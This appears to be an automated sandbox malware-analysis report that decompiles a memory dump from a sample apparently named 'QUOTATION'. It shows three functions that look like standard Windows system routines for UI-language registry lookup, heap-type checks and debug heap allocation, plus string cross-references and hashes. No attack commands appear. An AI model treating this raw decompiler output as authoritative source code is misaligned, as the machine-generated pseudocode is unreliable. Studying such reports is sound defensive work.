			E3371D2EC(unsigned int __ecx, signed int _a4, intOrPtr _a8, char* _a12, char _a16) {
				intOrPtr _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char* _v76;
				intOrPtr _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				unsigned int _v100;
				signed int _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v117;
				char _v120;
				char _v124;
				intOrPtr _v128;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v164;
				void* _t116;
				void* _t124;
				char* _t134;
				void* _t155;
				char* _t170;
				char _t171;
				void* _t176;
				signed int _t181;
				void* _t184;
				void* _t190;
				signed int _t192;
				void* _t194;
				signed int _t196;
				signed int _t198;
				void* _t200;

				_t200 = (_t198 & 0xfffffff8) - 0x74;
				_t170 = _a12;
				_v100 = __ecx;
				_v108 = 0;
				_v112 = 0;
				_v104 = 0;
				_v96 = 7;
				_v92 = 0;
				_v88 = 0;
				_v117 = 0;
				_t190 = 0;
				_v116 = 0;
				if(__ecx == 0 || _t170 == 0 || _a16 == 0) {
					_t194 = 0xc000000d;
					goto L23;
				} else {
					_t196 = _a4;
					 *_t170 = 0;
					if(_t196 == 1 || _t196 == 0) {
						E33765050(0,  &_v84, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
						_v84 = 0x18;
						_v76 =  &_v92;
						_v80 = 0;
						_push( &_v84);
						_push(0x20019);
						_v72 = 0x40;
						_push( &_v112);
						_v68 = 0;
						_v64 = 0;
						if(E33762AB0() >= 0) {
							_t124 = E33717220(_v104, _v100,  &_v116);
							_t190 = _v128;
							_t194 = _t124;
							if(_t194 != 0 || _t190 == 0) {
								_t181 = _v104;
								_t196 = _a4;
								goto L7;
							} else {
								goto L24;
							}
						} else {
							_t181 = 0;
							_v104 = 0;
							L7:
							if(_t196 == 1 && _t181 != 0) {
								_t187 =  &_v117;
								if(E337DAD61(_t181,  &_v117) >= 0) {
									asm("sbb eax, eax");
									_a4 = _t196 &  ~(_v117 - 0x00000001 & 0x000000ff);
								}
							}
							_t194 = E3371D736(0x2000000,  &_v108);
							if(_t194 < 0) {
								L51:
								 *_t170 = 1;
								goto L23;
							} else {
								if(_a4 != 1) {
									E33765050(0x2000000,  &_v84, L"Control Panel\\Desktop\\MuiCached");
									_t194 = 0;
									_v32 = _v116;
									_v28 =  &_v92;
									_push( &_v36);
									_push(0x20019);
									_v36 = 0x18;
									_push( &_v120);
									_v24 = 0x40;
									_v20 = 0;
									 *((intOrPtr*)(_t200 + 0x88)) = 0;
									if(E33762AB0() < 0) {
										 *_t170 = 1;
										L24:
										_t176 = 0;
										L25:
										_t112 = _a4;
										if(_a4 != 0 || _t190 != 0 &&  *((intOrPtr*)(_t190 + 4)) != _t176) {
											_t173 = _v100;
											L29:
											if(_t190 == 0) {
												_t190 = E33743262(1, _t187 & 0xffffff00 | _t112 != 0x00000001, _t173);
												if(_t190 == 0) {
													_t194 = 0xc0000017;
												}
											}
											goto L31;
										} else {
											_t173 = _v100;
											_t116 = E337DBD08(_v100, _t187, _t170,  &_v116);
											_t190 = _v124;
											_t194 = _t116;
											if(_t194 != 0) {
												L31:
												_t67 =  &_a16; // 0x33742e68
												 *((intOrPtr*)( *_t67)) = _t190;
												L32:
												_t105 = _v88;
												if(_v88 == 0) {
													L43:
													_t171 = 0;
													goto L34;
												} else {
													_t171 = 0;
													E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t105);
													L34:
													if(_v112 != 0) {
														_push(_v112);
														E33762A80();
														_v116 = _t171;
													}
													if(_v108 != 0) {
														_push(_v108);
														E33762A80();
														_v112 = _t171;
													}
													if(_v104 != 0) {
														_push(_v104);
														E33762A80();
													}
													goto L39;
												}
											}
											_t112 = _a4;
											goto L29;
										}
									}
									_t134 = L"MachinePreferredUILanguages";
									L15:
									E33765050(0x2000000,  &_v84, _t134);
									_push(0x2000000);
									_t187 =  &_v92;
									_t184 = E3371D64A(_v120,  &_v92,  &_v104, _t194,  &_v100);
									_t194 = 0xc0000034;
									if(_t184 == 0xc0000034) {
										L42:
										_t176 = 0;
										 *_t170 = 1;
										_t194 = 0;
										goto L25;
									}
									_t140 = _v96;
									if(_v96 == 0) {
										goto L42;
									}
									if(_t184 != 0x80000005) {
										goto L43;
									}
									_t192 = E33735D90(_t184,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t140 + 2);
									_v104 = _t192;
									if(_t192 == 0) {
										_t194 = 0xc0000017;
										goto L43;
									}
									_push(_t184);
									_t187 =  &_v88;
									_t194 = E3371D64A(_v116,  &_v88,  &_v100, _t192,  &_v96);
									if(_t194 < 0) {
										L22:
										_t190 = _v124;
										L23:
										if(_t194 != 0) {
											goto L32;
										}
										goto L24;
									}
									if(_v104 != 7) {
										if(_v104 == 1) {
											goto L21;
										}
										_t190 = _v124;
										_t176 = 0;
										_t194 = 0;
										 *_t170 = 1;
										goto L25;
									}
									L21:
									_t187 = _t192;
									_t194 = L33744CA6(_v108, _t192, _v100 >> 1, 8, (0 | _a4 != 0x00000001) + 2, 1,  &_v124);
									goto L22;
								}
								_t155 = E3371D8D0(0x2000000, _v108, _v100,  &_v116);
								_t190 = _v128;
								_t194 = _t155;
								if(_t194 == 0) {
									if(_t190 != 0) {
										goto L31;
									}
								}
								E33765050(0x2000000,  &_v84, L"Control Panel\\Desktop");
								_v56 = _v116;
								 *((intOrPtr*)(_t200 + 0x58)) =  &_v92;
								 *((intOrPtr*)(_t200 + 0x60)) = 0;
								_v40 = 0;
								_push( &_v60);
								_push(0x20019);
								_v60 = 0x18;
								_push( &_v120);
								 *((intOrPtr*)(_t200 + 0x68)) = 0x40;
								_t194 = E33762AB0();
								if(_t194 < 0) {
									goto L51;
								}
								_t134 = L"PreferredUILanguages";
								if(_a8 != 3) {
									_t134 = L"PreferredUILanguagesPending";
								}
								_t194 = 0;
								goto L15;
							}
						}
					} else {
						_t194 = 0xc000000d;
						L39:
						return _t194;
					}
				}
			}

0x3371d2f4
0x3371d2f8
0x3371d2ff
0x3371d303
0x3371d307
0x3371d30b
0x3371d30f
0x3371d317
0x3371d31b
0x3371d31f
0x3371d325
0x3371d327
0x3371d32d
0x3377a69c
0x00000000
0x3371d344
0x3371d344
0x3371d347
0x3371d34c
0x3371d360
0x3371d369
0x3371d371
0x3371d37b
0x3371d37f
0x3371d380
0x3371d389
0x3371d391
0x3371d392
0x3371d396
0x3371d3a1
0x3377a60d
0x3377a612
0x3377a616
0x3377a61a
0x3377a624
0x3377a628
0x00000000
0x00000000
0x00000000
0x00000000
0x3371d3a7
0x3371d3a7
0x3371d3a9
0x3371d3ad
0x3371d3b0
0x3377a630
0x3377a63b
0x3377a64c
0x3377a650
0x3377a650
0x3377a63b
0x3371d3c9
0x3371d3cd
0x3377a658
0x3377a658
0x00000000
0x3371d3d3
0x3371d3d7
0x3371d5d5
0x3371d5de
0x3371d5e0
0x3371d5e8
0x3371d5f0
0x3371d5f1
0x3371d5fa
0x3371d602
0x3371d603
0x3371d60e
0x3371d615
0x3371d623
0x3371d642
0x3371d52e
0x3371d52e
0x3371d530
0x3371d530
0x3371d535
0x3371d549
0x3371d54d
0x3371d54f
0x3371d560
0x3371d564
0x3377a6cd
0x3377a6cd
0x3371d564
0x00000000
0x3377a6a6
0x3377a6ac
0x3377a6b2
0x3377a6b7
0x3377a6bb
0x3377a6bf
0x3371d56a
0x3371d56a
0x3371d56d
0x3371d56f
0x3371d56f
0x3371d575
0x3371d63b
0x3371d63b
0x00000000
0x3371d57b
0x3371d582
0x3371d588
0x3371d58d
0x3371d592
0x3371d594
0x3371d598
0x3371d59d
0x3371d59d
0x3371d5a6
0x3371d5a8
0x3371d5ac
0x3371d5b1
0x3371d5b1
0x3371d5ba
0x3377a6d7
0x3377a6db
0x3377a6db
0x00000000
0x3371d5ba
0x3371d575
0x3377a6c5
0x00000000
0x3377a6c5
0x3371d535
0x3371d625
0x3371d465
0x3371d46b
0x3371d470
0x3371d480
0x3371d489
0x3371d48b
0x3371d492
0x3371d62f
0x3371d62f
0x3371d631
0x3371d634
0x00000000
0x3371d634
0x3371d498
0x3371d49e
0x00000000
0x00000000
0x3371d4aa
0x00000000
0x00000000
0x3371d4c4
0x3371d4c6
0x3371d4cc
0x3377a677
0x00000000
0x3377a677
0x3371d4d2
0x3371d4e2
0x3371d4eb
0x3371d4ef
0x3371d526
0x3371d526
0x3371d52a
0x3371d52c
0x00000000
0x00000000
0x00000000
0x3371d52c
0x3371d4f6
0x3377a686
0x00000000
0x00000000
0x3377a68c
0x3377a690
0x3377a692
0x3377a694
0x00000000
0x3377a694
0x3371d4fc
0x3371d507
0x3371d524
0x00000000
0x3371d524
0x3371d3ea
0x3371d3ef
0x3371d3f3
0x3371d3f7
0x3377a662
0x00000000
0x00000000
0x3377a668
0x3371d407
0x3371d410
0x3371d418
0x3371d41e
0x3371d422
0x3371d42a
0x3371d42b
0x3371d434
0x3371d43c
0x3371d43d
0x3371d44a
0x3371d44e
0x00000000
0x00000000
0x3371d458
0x3371d45d
0x3377a66d
0x3377a66d
0x3371d463
0x00000000
0x3371d463
0x3371d3cd
0x3377a5f6
0x3377a5f6
0x3371d5c0
0x3371d5c8
0x3371d5c8
0x3371d34c

Strings

Control Panel\Desktop, xrefs: 3371D3FD
@, xrefs: 3371D43D
PreferredUILanguagesPending, xrefs: 3377A66D
Control Panel\Desktop\MuiCached, xrefs: 3371D5CB
PreferredUILanguages, xrefs: 3371D458, 3371D465
@, xrefs: 3371D603
h.t3, xrefs: 3371D56A
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3371D356
MachinePreferredUILanguages, xrefs: 3371D625
@, xrefs: 3371D389

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$h.t3
API String ID: 0-2856127604
Opcode ID: cc5f096045f9104f50fe0f73d5b9c574a81e43b5f3b8ddf664664814d62852a7
Instruction ID: f927c471b4539b19fc8be9280715c6f2ad41e1584c212b68a25cefa4ecde3fa5
Opcode Fuzzy Hash: cc5f096045f9104f50fe0f73d5b9c574a81e43b5f3b8ddf664664814d62852a7
Instruction Fuzzy Hash: CDB17BB29083559FD711CE24C484B6BB7E9AF88794F45492EF888DB200DB70D958DF92

Uniqueness

Uniqueness Score: -1.00%

Function 337C86C2 Relevance: 12.6, Strings: 10, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E337C86C2(void* __ebx, signed short* __ecx, signed short __edx) {
				signed int _v8;
				char _v268;
				char _v300;
				char* _v304;
				char* _v308;
				char* _v312;
				char* _v316;
				char* _v320;
				char* _v324;
				char _v1076;
				signed int _v1084;
				signed int _v1092;
				signed short _v1096;
				void* __edi;
				void* __esi;
				signed int _t54;
				short* _t59;
				void* _t65;
				signed int _t66;
				void* _t67;
				intOrPtr _t69;
				void* _t74;
				void* _t75;
				void* _t80;
				void* _t81;
				signed short _t82;
				signed short* _t84;
				void* _t85;
				intOrPtr* _t86;
				signed int _t90;
				void* _t92;
				signed int _t93;
				signed int _t95;

				_t82 = __edx;
				_t75 = __ebx;
				_t95 = (_t93 & 0xfffffff8) - 0x448;
				_v8 =  *0x3381b370 ^ _t95;
				_t84 = __ecx;
				_v324 = L"svchost.exe";
				_v320 = L"runtimebroker.exe";
				_t90 = 0;
				_v316 = L"csrss.exe";
				_v312 = L"smss.exe";
				_v308 = L"services.exe";
				_v304 = L"lsass.exe";
				_v1084 =  *[fs:0x30];
				if((E33720670() & 0x00010000) != 0) {
					L26:
					 *0x338138c0 = _t90;
					_t90 = 1;
				} else {
					if(E337242B0(0, 0, L"http://schemas.microsoft.com/SMI/2020/WindowsSettings", L"heapType",  &_v300, 0xf, 0) < 0) {
						L3:
						_t54 = _v1084;
						if(( *(_t54 + 3) & 0x00000010) == 0) {
							if( *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x10)) + 0x2b0)) != _t90) {
								goto L26;
							} else {
								if(_t84 != 0) {
									_t79 = _t90;
									_t82 = _t84[2];
									_t59 = _t82 + ((( *_t84 & 0x0000ffff) >> 1) - 1) * 2;
									while(1) {
										_v1092 = _t79;
										if(_t59 <= _t82) {
											break;
										}
										if( *_t59 == 0x5c) {
											if(_t79 == 0) {
												L24:
												_v1096 = 0x100;
												if(E33754E50(0xfffffffc,  &_v268,  &_v1096, _t90, _t90, _t90,  &_v1084) >= 0) {
													_t65 = E33767AD0( &_v268, L"DefaultBrowser_NOPUBLISHERID", 0x1d);
													_t95 = _t95 + 0xc;
													if(_t65 == 0) {
														goto L26;
													}
												}
											} else {
												_t28 = _t59 + 2; // 0x2
												_t82 = _t28;
												_v1096 = _t82;
												if(_t82 != 0) {
													_t66 = _t90;
													_v1084 = _t90;
													do {
														_t86 =  *((intOrPtr*)(_t95 + 0x310 + _t66 * 4));
														_t67 = E33767AD0(_t82, _t86, _t79);
														_t95 = _t95 + 0xc;
														if(_t67 != 0) {
															_t79 = _v1092;
															goto L23;
														} else {
															_t34 = _t86 + 2; // 0x336f708e
															_t80 = _t34;
															do {
																_t69 =  *_t86;
																_t86 = _t86 + 2;
															} while (_t69 != _t90);
															_t79 = _v1092;
															if(_v1092 == _t86 - _t80 >> 1) {
																goto L26;
															} else {
																goto L23;
															}
														}
														goto L27;
														L23:
														_t82 = _v1096;
														_t66 = _v1084 + 1;
														_v1084 = _t66;
													} while (_t66 < 6);
												}
												goto L24;
											}
										} else {
											_t79 = _t79 + 1;
											_t59 = _t59 - 2;
											continue;
										}
										goto L27;
									}
									goto L24;
								}
							}
						} else {
							_push(_t90);
							_push( &_v1092);
							_push( &_v1076);
							_t81 = 0xfffffffc;
							if(E33754F11(_t81) < 0 || (_v1092 & 0x00008000) == 0) {
								goto L26;
							} else {
							}
						}
					} else {
						_t74 = E33767AD0( &_v300, L"SegmentHeap", 0xf);
						_t95 = _t95 + 0xc;
						if(_t74 == 0) {
							goto L26;
						} else {
							goto L3;
						}
					}
				}
				L27:
				_pop(_t85);
				_pop(_t92);
				return E33764B50(_t90, _t75, _v8 ^ _t95, _t82, _t85, _t92);
			}

0x337c86c2
0x337c86c2
0x337c86ca
0x337c86d7
0x337c86e6
0x337c86e8
0x337c86f3
0x337c86fe
0x337c8700
0x337c870b
0x337c8716
0x337c8721
0x337c872c
0x337c873a
0x337c8892
0x337c8892
0x337c889a
0x337c8740
0x337c875e
0x337c877f
0x337c877f
0x337c8787
0x337c87c0
0x00000000
0x337c87c6
0x337c87c8
0x337c87d1
0x337c87d3
0x337c87d9
0x337c87e8
0x337c87e8
0x337c87ee
0x00000000
0x00000000
0x337c87e2
0x337c87f4
0x337c884f
0x337c8853
0x337c8875
0x337c8886
0x337c888b
0x337c8890
0x00000000
0x00000000
0x337c8890
0x337c87f6
0x337c87f6
0x337c87f6
0x337c87f9
0x337c87ff
0x337c8801
0x337c8803
0x337c8807
0x337c8807
0x337c8811
0x337c8816
0x337c881b
0x337c8839
0x00000000
0x337c881d
0x337c881d
0x337c881d
0x337c8820
0x337c8820
0x337c8823
0x337c8826
0x337c882d
0x337c8835
0x00000000
0x337c8837
0x00000000
0x337c8837
0x337c8835
0x00000000
0x337c883d
0x337c8841
0x337c8845
0x337c8846
0x337c884a
0x337c8807
0x00000000
0x337c87ff
0x337c87e4
0x337c87e4
0x337c87e5
0x00000000
0x337c87e5
0x00000000
0x337c87e2
0x00000000
0x337c87f0
0x337c87c8
0x337c8789
0x337c8789
0x337c878e
0x337c8793
0x337c8796
0x337c879e
0x00000000
0x00000000
0x337c87b2
0x337c879e
0x337c8760
0x337c876f
0x337c8774
0x337c8779
0x00000000
0x00000000
0x00000000
0x00000000
0x337c8779
0x337c875e
0x337c889b
0x337c88a4
0x337c88a5
0x337c88b0

Strings

lsass.exe, xrefs: 337C8721
http://schemas.microsoft.com/SMI/2020/WindowsSettings, xrefs: 337C8750
smss.exe, xrefs: 337C870B
svchost.exe, xrefs: 337C86E8
heapType, xrefs: 337C874B
runtimebroker.exe, xrefs: 337C86F3
services.exe, xrefs: 337C8716
DefaultBrowser_NOPUBLISHERID, xrefs: 337C8880
csrss.exe, xrefs: 337C8700
SegmentHeap, xrefs: 337C8769

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
API String ID: 0-2515994595
Opcode ID: 2fc7c9e44c07bb53898ff5dfc206b3585f898fab4e59a99e82ebd374389cf1fc
Instruction ID: e9477afb390012852922e4bcb7fd2acd32d967fbbd5f6c7c290fe4e7b720df2b
Opcode Fuzzy Hash: 2fc7c9e44c07bb53898ff5dfc206b3585f898fab4e59a99e82ebd374389cf1fc
Instruction Fuzzy Hash: AD51BCB5514390AFD325CF188844BABBBE9FF84391F08491DB9A8CB640E770D604DB92

Uniqueness

Uniqueness Score: -1.00%

Function 337CF0A5 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231
timeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E337CF0A5(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t87;
				signed int _t89;
				signed int _t92;
				intOrPtr _t93;
				intOrPtr _t94;
				signed char _t105;
				signed int _t106;
				intOrPtr _t108;
				signed int _t109;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t116;
				short* _t134;
				short _t135;
				signed char _t153;
				signed int* _t158;
				short* _t169;
				signed int _t174;
				signed int _t184;
				signed int _t185;
				intOrPtr* _t190;
				void* _t191;

				_push(0x3c);
				_push(0x337fd320);
				E33777BE4(__ebx, __edi, __esi);
				_t188 = __ecx;
				 *((intOrPtr*)(_t191 - 0x3c)) = __ecx;
				 *((char*)(_t191 - 0x19)) = 0;
				 *(_t191 - 0x24) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *(_t191 - 4) = 0;
					 *(_t191 - 4) = 1;
					_t87 = E33717662("RtlAllocateHeap");
					__eflags = _t87;
					if(_t87 == 0) {
						L46:
						 *(_t191 - 0x24) = 0;
						L47:
						 *(_t191 - 4) = 0;
						 *(_t191 - 4) = 0xfffffffe;
						E337CF3F9();
						_t89 =  *(_t191 - 0x24);
						goto L48;
					}
					_t153 =  *(__ecx + 0x44) | __edx;
					 *(_t191 - 0x2c) = _t153;
					_t183 = _t153 | 0x10000100;
					 *(_t191 - 0x34) = _t153 | 0x10000100;
					_t174 =  *(_t191 + 8);
					__eflags = _t174;
					 *(_t191 - 0x20) = _t174;
					if(_t174 == 0) {
						 *(_t191 - 0x20) = 1;
					}
					_t92 =  *((intOrPtr*)(_t188 + 0x94)) +  *(_t191 - 0x20) &  *(_t188 + 0x98);
					__eflags = _t92 - 0x10;
					if(_t92 < 0x10) {
						_t92 = 0x10;
					}
					_t93 = _t92 + 8;
					 *((intOrPtr*)(_t191 - 0x40)) = _t93;
					__eflags = _t93 - _t174;
					if(_t93 < _t174) {
						L42:
						_t94 =  *[fs:0x30];
						__eflags =  *(_t94 + 0xc);
						if( *(_t94 + 0xc) == 0) {
							_push("HEAP: ");
							E3371B910();
						} else {
							E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *((intOrPtr*)(_t188 + 0x78)));
						E3371B910("Invalid allocation size - %Ix (exceeded %Ix)\n",  *(_t191 + 8));
						goto L46;
					} else {
						__eflags = _t93 -  *((intOrPtr*)(_t188 + 0x78));
						if(_t93 >  *((intOrPtr*)(_t188 + 0x78))) {
							goto L42;
						}
						__eflags = _t153 & 0x00000001;
						if((_t153 & 0x00000001) == 0) {
							E3372FED0( *((intOrPtr*)(_t188 + 0xc8)));
							 *((char*)(_t191 - 0x19)) = 1;
							_t183 =  *(_t191 - 0x2c) | 0x10000101;
							__eflags = _t183;
							 *(_t191 - 0x34) = _t183;
						}
						E337D0835(_t188, 0);
						_t184 = E33735D90(_t188, _t188, _t183,  *(_t191 + 8));
						 *(_t191 - 0x24) = _t184;
						_t176 = 1;
						E337D0D24(_t188);
						__eflags = _t184;
						if(_t184 == 0) {
							goto L47;
						} else {
							_t185 = _t184 + 0xfffffff8;
							__eflags =  *((char*)(_t185 + 7)) - 5;
							if( *((char*)(_t185 + 7)) == 5) {
								_t185 = _t185 - (( *(_t185 + 6) & 0x000000ff) << 3);
								__eflags = _t185;
							}
							_t158 = _t185;
							 *(_t191 - 0x38) = _t185;
							__eflags =  *(_t188 + 0x4c);
							if( *(_t188 + 0x4c) != 0) {
								 *_t185 =  *_t185 ^  *(_t188 + 0x50);
								__eflags =  *(_t185 + 3) - (_t158[0] ^ _t158[0] ^  *_t158);
								if(__eflags != 0) {
									_push(_t158);
									_t176 = _t185;
									E337DD646(0, _t188, _t185, _t185, _t188, __eflags);
								}
							}
							__eflags =  *(_t185 + 2) & 0x00000002;
							if(( *(_t185 + 2) & 0x00000002) == 0) {
								_t105 =  *(_t185 + 3);
								 *(_t191 - 0x1a) = _t105;
								_t106 = _t105 & 0x000000ff;
							} else {
								_t134 = E33753AE9(_t185);
								 *((intOrPtr*)(_t191 - 0x28)) = _t134;
								__eflags =  *(_t188 + 0x40) & 0x08000000;
								if(( *(_t188 + 0x40) & 0x08000000) == 0) {
									 *_t134 = 0;
								} else {
									_t135 = E3374FDB9(1, _t176);
									_t169 =  *((intOrPtr*)(_t191 - 0x28));
									 *_t169 = _t135;
									_t134 = _t169;
								}
								_t45 = _t134 + 2; // 0xffff
								_t106 =  *_t45 & 0x0000ffff;
							}
							 *(_t191 - 0x2c) = _t106;
							 *(_t191 - 0x20) = _t106;
							__eflags =  *(_t188 + 0x4c);
							if( *(_t188 + 0x4c) != 0) {
								 *(_t185 + 3) =  *(_t185 + 2) ^  *(_t185 + 1) ^  *_t185;
								 *_t185 =  *_t185 ^  *(_t188 + 0x50);
								__eflags =  *_t185;
							}
							__eflags =  *(_t188 + 0x40) & 0x20000000;
							if(( *(_t188 + 0x40) & 0x20000000) != 0) {
								__eflags = 0;
								E337D0835(_t188, 0);
							}
							__eflags =  *(_t191 - 0x24) -  *0x338147c0; // 0x0
							_t108 =  *[fs:0x30];
							if(__eflags != 0) {
								_t109 =  *(_t108 + 0x68);
								 *(_t191 - 0x44) = _t109;
								__eflags = _t109 & 0x00000800;
								if((_t109 & 0x00000800) == 0) {
									goto L47;
								}
								_t110 =  *(_t191 - 0x2c);
								__eflags = _t110;
								if(_t110 == 0) {
									goto L47;
								}
								__eflags = _t110 -  *0x338147c4; // 0x0
								if(__eflags != 0) {
									goto L47;
								}
								__eflags =  *((intOrPtr*)(_t188 + 0x7c)) -  *0x338147c6; // 0x0
								if(__eflags != 0) {
									goto L47;
								}
								_t112 =  *[fs:0x30];
								__eflags =  *(_t112 + 0xc);
								if( *(_t112 + 0xc) == 0) {
									_push("HEAP: ");
									E3371B910();
								} else {
									E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(E337C823A(_t188,  *(_t191 - 0x20)));
								_push( *(_t191 + 8));
								E3371B910("Just allocated block at %p for 0x%Ix bytes with tag %ws\n",  *(_t191 - 0x24));
								goto L32;
							} else {
								__eflags =  *(_t108 + 0xc);
								if( *(_t108 + 0xc) == 0) {
									_push("HEAP: ");
									E3371B910();
								} else {
									E3371B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t191 + 8));
								E3371B910("Just allocated block at %p for %Ix bytes\n",  *0x338147c0);
								L32:
								_t116 =  *[fs:0x30];
								__eflags =  *((char*)(_t116 + 2));
								if( *((char*)(_t116 + 2)) != 0) {
									 *0x338147a1 = 1;
									 *0x33814100 = 0;
									asm("int3");
									 *0x338147a1 = 0;
								}
								goto L47;
							}
						}
					}
				} else {
					_t190 =  *0x33813748; // 0x0
					 *0x338191e0(__ecx, __edx,  *(_t191 + 8));
					_t89 =  *_t190();
					L48:
					 *[fs:0x0] =  *((intOrPtr*)(_t191 - 0x10));
					return _t89;
				}
			}

0x337cf0a5
0x337cf0a7
0x337cf0ac
0x337cf0b3
0x337cf0b5
0x337cf0ba
0x337cf0bd
0x337cf0c7
0x337cf0e3
0x337cf0e6
0x337cf0f4
0x337cf0f9
0x337cf0fb
0x337cf3d2
0x337cf3d2
0x337cf3d5
0x337cf3d5
0x337cf3d8
0x337cf3df
0x337cf3e4
0x00000000
0x337cf3e4
0x337cf104
0x337cf106
0x337cf10b
0x337cf111
0x337cf114
0x337cf117
0x337cf119
0x337cf11c
0x337cf11e
0x337cf11e
0x337cf12e
0x337cf134
0x337cf137
0x337cf13b
0x337cf13b
0x337cf13c
0x337cf13f
0x337cf142
0x337cf144
0x337cf350
0x337cf350
0x337cf356
0x337cf359
0x337cf378
0x337cf37d
0x337cf35b
0x337cf370
0x337cf375
0x337cf383
0x337cf38e
0x00000000
0x337cf14a
0x337cf14a
0x337cf14d
0x00000000
0x00000000
0x337cf153
0x337cf156
0x337cf15e
0x337cf163
0x337cf16a
0x337cf16a
0x337cf170
0x337cf170
0x337cf177
0x337cf186
0x337cf188
0x337cf18b
0x337cf18f
0x337cf194
0x337cf196
0x00000000
0x337cf19c
0x337cf19c
0x337cf19f
0x337cf1a3
0x337cf1ac
0x337cf1ac
0x337cf1ac
0x337cf1ae
0x337cf1b0
0x337cf1b3
0x337cf1b6
0x337cf1bb
0x337cf1c5
0x337cf1c8
0x337cf1ca
0x337cf1cb
0x337cf1cf
0x337cf1cf
0x337cf1c8
0x337cf1d4
0x337cf1d8
0x337cf208
0x337cf20b
0x337cf20e
0x337cf1da
0x337cf1dc
0x337cf1e1
0x337cf1e6
0x337cf1ed
0x337cf1ff
0x337cf1ef
0x337cf1f0
0x337cf1f5
0x337cf1f8
0x337cf1fb
0x337cf1fb
0x337cf202
0x337cf202
0x337cf202
0x337cf211
0x337cf214
0x337cf218
0x337cf21b
0x337cf227
0x337cf22d
0x337cf22d
0x337cf22d
0x337cf22f
0x337cf236
0x337cf238
0x337cf23c
0x337cf23c
0x337cf244
0x337cf24a
0x337cf250
0x337cf2be
0x337cf2c1
0x337cf2c4
0x337cf2c9
0x00000000
0x00000000
0x337cf2cf
0x337cf2d2
0x337cf2d5
0x00000000
0x00000000
0x337cf2db
0x337cf2e2
0x00000000
0x00000000
0x337cf2ec
0x337cf2f3
0x00000000
0x00000000
0x337cf2f9
0x337cf2ff
0x337cf302
0x337cf321
0x337cf326
0x337cf304
0x337cf319
0x337cf31e
0x337cf337
0x337cf338
0x337cf343
0x00000000
0x337cf252
0x337cf252
0x337cf255
0x337cf274
0x337cf279
0x337cf257
0x337cf26c
0x337cf271
0x337cf27f
0x337cf28d
0x337cf295
0x337cf295
0x337cf29b
0x337cf29f
0x337cf2a5
0x337cf2ac
0x337cf2b2
0x337cf2b3
0x337cf2b3
0x00000000
0x337cf29f
0x337cf250
0x337cf196
0x337cf0c9
0x337cf0ce
0x337cf0d6
0x337cf0dc
0x337cf3e7
0x337cf3ea
0x337cf3f6
0x337cf3f6

APIs

RtlDebugPrintTimes.NTDLL ref: 337CF0D6

Strings

Invalid allocation size - %Ix (exceeded %Ix), xrefs: 337CF389
Just allocated block at %p for %Ix bytes, xrefs: 337CF288
RtlAllocateHeap, xrefs: 337CF0ED
HEAP: , xrefs: 337CF274, 337CF321, 337CF378
Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 337CF33E
HEAP[%wZ]: , xrefs: 337CF267, 337CF314, 337CF36B

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 3446177414-1745908468
Opcode ID: 0abfccc08005c13e46e2cc2372258ddc34ec9b76bbdd934e1dddd3dc7a35dca7
